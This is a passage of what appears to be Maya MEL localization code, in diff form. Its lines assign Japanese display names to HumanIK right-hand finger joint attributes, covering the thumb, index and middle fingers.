"右手親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1SC", "右手親指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1IS", "右手親指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISx", "右手親指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISy", "右手親指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1ISz", "右手親指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreR", "右手親指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRx", "右手親指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRy", "右手親指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PreRz", "右手親指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostR", "右手親指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRx", "右手親指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRy", "右手親指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb1PostRz", "右手親指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2T", "右手親指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Tx", "右手親指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Ty", "右手親指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Tz", "右手親指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2R", "右手親指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Rx", "右手親指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Ry", "右手親指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Rz", "右手親指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2S", "右手親指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sx", "右手親指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sy", "右手親指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2Sz", "右手親指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PGX", "右手親指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ROrder", "右手親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2SC", "右手親指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2IS", "右手親指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISx", "右手親指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISy", "右手親指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2ISz", "右手親指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreR", "右手親指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRx", "右手親指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRy", "右手親指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PreRz", "右手親指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostR", "右手親指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRx", "右手親指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRy", "右手親指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb2PostRz", "右手親指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3T", "右手親指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Tx", "右手親指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Ty", "右手親指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Tz", "右手親指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3R", "右手親指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Rx", "右手親指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Ry", "右手親指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Rz", "右手親指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3S", "右手親指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sx", "右手親指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sy", "右手親指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3Sz", "右手親指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PGX", "右手親指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ROrder", "右手親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3SC", "右手親指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3IS", "右手親指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISx", "右手親指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISy", "右手親指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3ISz", "右手親指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreR", "右手親指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRx", "右手親指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRy", "右手親指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PreRz", "右手親指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostR", "右手親指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRx", "右手親指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRy", "右手親指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb3PostRz", "右手親指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4T", "右手親指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Tx", "右手親指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Ty", "右手親指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Tz", "右手親指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4R", "右手親指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Rx", "右手親指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Ry", "右手親指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Rz", "右手親指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4S", "右手親指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sx", "右手親指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sy", "右手親指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4Sz", "右手親指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PGX", "右手親指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ROrder", "右手親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4SC", "右手親指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4IS", "右手親指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISx", "右手親指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISy", "右手親指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4ISz", "右手親指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreR", "右手親指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRx", "右手親指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRy", "右手親指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PreRz", "右手親指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostR", "右手親指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRx", "右手親指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRy", "右手親指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandThumb4PostRz", "右手親指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1T", "右手人差指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Tx", "右手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Ty", "右手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Tz", "右手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1R", "右手人差指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Rx", "右手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Ry", "右手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Rz", "右手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1S", "右手人差指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sx", "右手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sy", "右手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1Sz", "右手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PGX", "右手人差指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ROrder", "右手人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1SC", "右手人差指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1IS", "右手人差指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISx", "右手人差指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISy", "右手人差指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1ISz", "右手人差指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreR", "右手人差指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRx", "右手人差指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRy", "右手人差指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PreRz", "右手人差指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostR", "右手人差指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRx", "右手人差指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRy", "右手人差指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex1PostRz", "右手人差指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2T", "右手人差指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Tx", "右手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Ty", "右手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Tz", "右手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2R", "右手人差指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Rx", "右手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Ry", "右手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Rz", "右手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2S", "右手人差指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sx", "右手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sy", "右手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2Sz", "右手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PGX", "右手人差指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ROrder", "右手人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2SC", "右手人差指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2IS", "右手人差指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISx", "右手人差指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISy", "右手人差指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2ISz", "右手人差指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreR", "右手人差指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRx", "右手人差指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRy", "右手人差指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PreRz", "右手人差指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostR", "右手人差指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRx", "右手人差指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRy", "右手人差指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex2PostRz", "右手人差指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3T", "右手人差指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Tx", "右手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Ty", "右手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Tz", "右手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3R", "右手人差指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Rx", "右手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Ry", "右手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Rz", "右手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3S", "右手人差指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sx", "右手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sy", "右手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3Sz", "右手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PGX", "右手人差指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ROrder", "右手人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3SC", "右手人差指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3IS", "右手人差指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISx", "右手人差指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISy", "右手人差指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3ISz", "右手人差指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreR", "右手人差指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRx", "右手人差指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRy", "右手人差指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PreRz", "右手人差指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostR", "右手人差指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRx", "右手人差指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRy", "右手人差指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex3PostRz", "右手人差指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4T", "右手人差指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Tx", "右手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Ty", "右手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Tz", "右手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4R", "右手人差指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Rx", "右手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Ry", "右手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Rz", "右手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4S", "右手人差指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sx", "右手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sy", "右手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4Sz", "右手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PGX", "右手人差指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ROrder", "右手人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4SC", "右手人差指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4IS", "右手人差指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISx", "右手人差指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISy", "右手人差指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4ISz", "右手人差指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreR", "右手人差指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRx", "右手人差指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRy", "右手人差指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PreRz", "右手人差指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostR", "右手人差指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRx", "右手人差指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRy", "右手人差指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIndex4PostRz", "右手人差指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1T", "右手中指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Tx", "右手中指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Ty", "右手中指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Tz", "右手中指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1R", "右手中指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Rx", "右手中指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Ry", "右手中指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Rz", "右手中指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1S", "右手中指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sx", "右手中指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sy", "右手中指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1Sz", "右手中指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PGX", "右手中指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ROrder", "右手中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1SC", "右手中指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1IS", "右手中指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISx", "右手中指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISy", "右手中指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1ISz", "右手中指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreR", "右手中指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRx", "右手中指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRy", "右手中指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PreRz", "右手中指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostR", "右手中指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRx", "右手中指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRy", "右手中指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle1PostRz", "右手中指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2T", "右手中指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Tx", "右手中指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Ty", "右手中指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Tz", "右手中指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2R", "右手中指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Rx", "右手中指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Ry", "右手中指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Rz", "右手中指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2S", "右手中指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sx", "右手中指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sy", "右手中指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2Sz", "右手中指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PGX", "右手中指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ROrder", "右手中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2SC", "右手中指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2IS", "右手中指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISx", "右手中指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISy", "右手中指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2ISz", "右手中指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreR", "右手中指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRx", "右手中指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRy", "右手中指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PreRz", "右手中指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostR", "右手中指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRx", "右手中指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRy", "右手中指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle2PostRz", "右手中指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3T", "右手中指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Tx", "右手中指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Ty", "右手中指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Tz", "右手中指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3R", "右手中指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Rx", "右手中指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Ry", "右手中指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Rz", "右手中指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3S", "右手中指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sx", "右手中指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sy", "右手中指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3Sz", "右手中指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PGX", "右手中指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ROrder", "右手中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3SC", "右手中指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3IS", "右手中指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISx", "右手中指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISy", "右手中指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3ISz", "右手中指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreR", "右手中指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRx", "右手中指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRy", "右手中指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PreRz", "右手中指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostR", "右手中指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRx", "右手中指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRy", "右手中指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle3PostRz", "右手中指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4T", "右手中指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Tx", "右手中指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Ty", "右手中指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Tz", "右手中指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4R", "右手中指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Rx", "右手中指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Ry", "右手中指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Rz", "右手中指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4S", "右手中指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sx", "右手中指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sy", "右手中指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4Sz", "右手中指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4PGX", "右手中指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ROrder", "右手中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4SC", "右手中指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4IS", "右手中指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandMiddle4ISx", "右手中指 4 